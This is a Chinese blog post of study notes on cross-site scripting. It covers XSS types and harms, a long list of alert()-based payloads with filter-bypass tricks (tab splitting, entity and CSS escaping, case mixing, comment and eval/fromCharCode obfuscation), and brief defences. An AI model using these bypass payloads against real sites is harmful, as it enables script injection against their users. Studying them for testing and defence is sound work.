xss与csrf

xss原理分类及危害

xss-labs

xss构造利用及防御

xss与csrf的区别

xss原理

跨网站脚本(Cross-site scripting,简称XSS) 又称为跨站脚本攻击,它是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。XSS允许恶意用户将代码注入网页,其他用户在浏览网页时就会执行其中的恶意代码。恶意用户利用XSS代码攻击成功后,可能得到很高的权限(执行操作)、私密网页内容、会话和Cookie等各种内容。与XSS相关的攻击类型包括Cookie窃取、会话劫持、钓鱼欺骗等,这类攻击通常包含了HTML以及用户端脚本语言

xss分类

  1. 反射型

    • 主要用于恶意脚本附加到URL地址的参数中。它需要欺骗用户自己去点击链接才能触发XSS代码,一般容易出现在搜索页面、输入框、URL参数处。反射型XSS大多数是用来盗取用户的Cookie信息。
    • 常见攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
  2. 储存型

    • 存储型XSS又称为持久型跨站脚本,比反射型XSS更具威胁性,并且可能影响到Web服务器自身安全,因为攻击脚本可以被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。

    • 存储型XSS的代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。存储型XSS一般出现在、评论、博客日志等用户交互处,这种XSS比较危险,容易造成蠕虫、盗窃cookie等

    • 常见攻击方法:该攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本就会在他们的浏览器中执行相关操作

  3. dom型

    • 什么是dom?常见攻击方法:该攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本就会在他们的浏览器中执行相关操作

    • DOM-XSS漏洞是基于文档对象模型的一种漏洞,不经过后端,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS

    • 常用攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞

漏洞存在的主要原因

  1. 参数输入未经过安全过滤
  2. 恶意脚本被输出到网页
  3. 用户的浏览器执行了恶意脚本

xss危害

  1. 网络钓鱼,包括盗取各类用户账号

  2. 窃取用户Cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作

  3. 劫持用户浏览器会话,从而执行任意 操作,例如进行非法转账、强制发表日志、发送电子邮件等

  4. 强制弹出广告页面、恶意刷流量等

  5. 网站挂马进行恶意操作,例如任意篡改页面信息、非法获取网站信息、删除文件等

  6. 进行大量的客户端攻击,例如DDOS攻击、传播跨站脚本蠕虫等

  7. 获取用户端信息 ,例如用户的浏览记录、真实IP地址、开放的端口等

  8. 结合其他漏洞,例如CSRF漏洞,实施进一步作恶


xss-labs

https://www.cnblogs.com/zjhzjhhh/p/14192728.html

xss构造

  1. 基本方式,利用尖括号插入js中
通过<script>标签就能任意插入由JavaScript或VBScript编写的恶意脚本代码
 常用:
     <script>alert(/xss/)</script>
  1. 利用HTML标签属性值执行XSS
通过javascript:[code]伪协议形式编写恶意脚本
 常用:
     <table background="javascript:alert(/xss/)"></table>

     <img src="javascript:alert('xss');" >

  1. 空格回车Tab绕过过滤
注意javas和cript之间的间隔不是由空格键添加的,而是用Tab键添加的。
    <img src="javas    cript:alert(/xss/)" width=100>

使用回车分隔:
<img src="javas
cript:
alert(/xss/)" width=100>

  1. 对标签属性值进行转码
<img src="javascript:alert('xss');">
替换成: 
<img src="javascrip&#116&#58alert('xss');">
其中,t的ASCII码值为116,用”&#116”表示,:则表示&#58。
再进一步替换:
<img src="javascrip&#000116&#00058alert('xss');">

  1. 产生事件如click、mouseover、load等
onclick="alert('xss')"

'onfocus=javascript:alert('xss') > 
	
'onmouseover=javascript:alert(1) >

  1. 利用CSS跨站过滤
<div style="background-image:url(javascript:alert('xss'))">

<style>
  body {background-image:url("javascript:alert(/xss/)");}
</style>

<div style="width:expression(alert('XSS'));">

<img src="#" style="xss:expression(alert(/xss/));">

<style>
    body {background-image: expression(alert("xss"));}
</style>

<div style="list-style-image:url(javascript:alert('XSS'));">

<div style="background-image:url(javascript:alert('XSS'));">

<img src=" javascript:alert('xss')">

<style>
    @import 'javascript:alert(/xss/)';
</style>

  1. XSS过滤规则
一个正常的XSS输入: 
    <img src="javascript:alert(0);">

转换大小写后的XSS:
    <IMG SRC="javascript:alert(0);">

大小写混淆的XSS:
    <iMg sRC="JaVasCript:alert(0);">

不用双引号,而是使用单引号的XSS:
    <img src='javascript:alert(0);'>

不适用引号的XSS:
    <img src=javascript:alert(0);>

不需要空格的XSS:
    <img/src="javascript:alert('xss');">

构造不同的全角字符: 
    <div style="{left:expression(alert('xss'))">

利用注释符
    <div style="wid/**/th:expre/*xss*/ssion(alert('xss'));">

\和\0– 
    <style>
        @imp\0ort 'java\0scri\pt:alert(/xss/)';
</style>
    <style> 
        @imp\ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)';
</style>

CSS关键字转码
    <div style="xss:\65xpression(alert('XSS'));"> 
    <div style="xss:\065xpression(alert('XSS'));">
    <div style="xss:\0065xpression(alert('XSS'));">
    
<!--<img src="--><img src=x οnerrοr=alert(1)//">

<comment><img src="</comment><img src=x οnerrοr=alert(1)//"> 

<style><img src=“</style><img src=x onerror=alert(1)//”>
  1. 利用字符编码
原始语句: 
    <img src="javascript:alert('xss');">

    unicode编码

    十进制

    base64

    十六进制


  1. 利用字符编码eval()函数、eval()和string.fromCharCode()函数过滤

<script>
        eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29");
</script>

<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))" >

xss防御

xs通常是插入到各种标签中,或者标签的属性中,css等,可以根据插入位置进行防御。

  1. 输入过滤

输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当的内容提交,阻止或者忽略除此外的其他任何数据。如下代码,检查用户输入的电话号码是否真确。

  1. 输出编码
    对输入的用户信息进行编码,可以确保浏览器安全处理可能存在恶意字符,将其当做HTMl文档的内容而非结构加以处理。

  2. 标签黑白名单过滤
    直接对输入的信息进行黑白名单过滤,简单粗暴。

  3. 代码实体转义
    对尖括号,大括号之类的进行转义,输出以后就作为一个字符,无法执行标签。

  4. httponly
    通俗的讲,httponly就是在cookie中设置了个属性,通过js代码无法读取到cookie信息,有效防止xss


xss与scrf区别

posted @ 2020-12-26 18:42  A2rcher_zjh  阅读(90)  评论(0编辑  收藏  举报